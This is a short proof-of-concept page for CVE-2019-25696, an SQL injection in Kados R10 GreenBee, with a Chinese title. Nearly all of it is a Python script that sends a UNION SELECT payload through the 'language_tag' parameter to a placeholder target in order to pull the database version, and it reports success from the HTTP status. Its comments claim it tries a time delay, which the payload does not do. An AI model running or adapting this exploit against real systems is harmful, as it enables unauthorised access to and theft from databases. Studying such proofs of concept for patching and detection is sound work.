CVE-2019-25696 Kados R10 GreenBee SQL注入漏洞

# PoC for CVE-2019-25696 # This script demonstrates the SQL injection via the 'language_tag' parameter. import requests def check_sqli(target_url): # Malicious payload to test SQL injection # Attempts to cause a time delay or extract data payload = "en' UNION SELECT NULL, version(), NULL-- -" params = { "language_tag": payload } try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] Potential SQL Injection successful.") print(f"[+] Response length: {len(response.text)}") # Further analysis of response.text would be needed to confirm data extraction else: print("[-] Request failed or blocked.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": url = "http://target-vulnerable-host/path/to/script" # Replace with actual target check_sqli(url)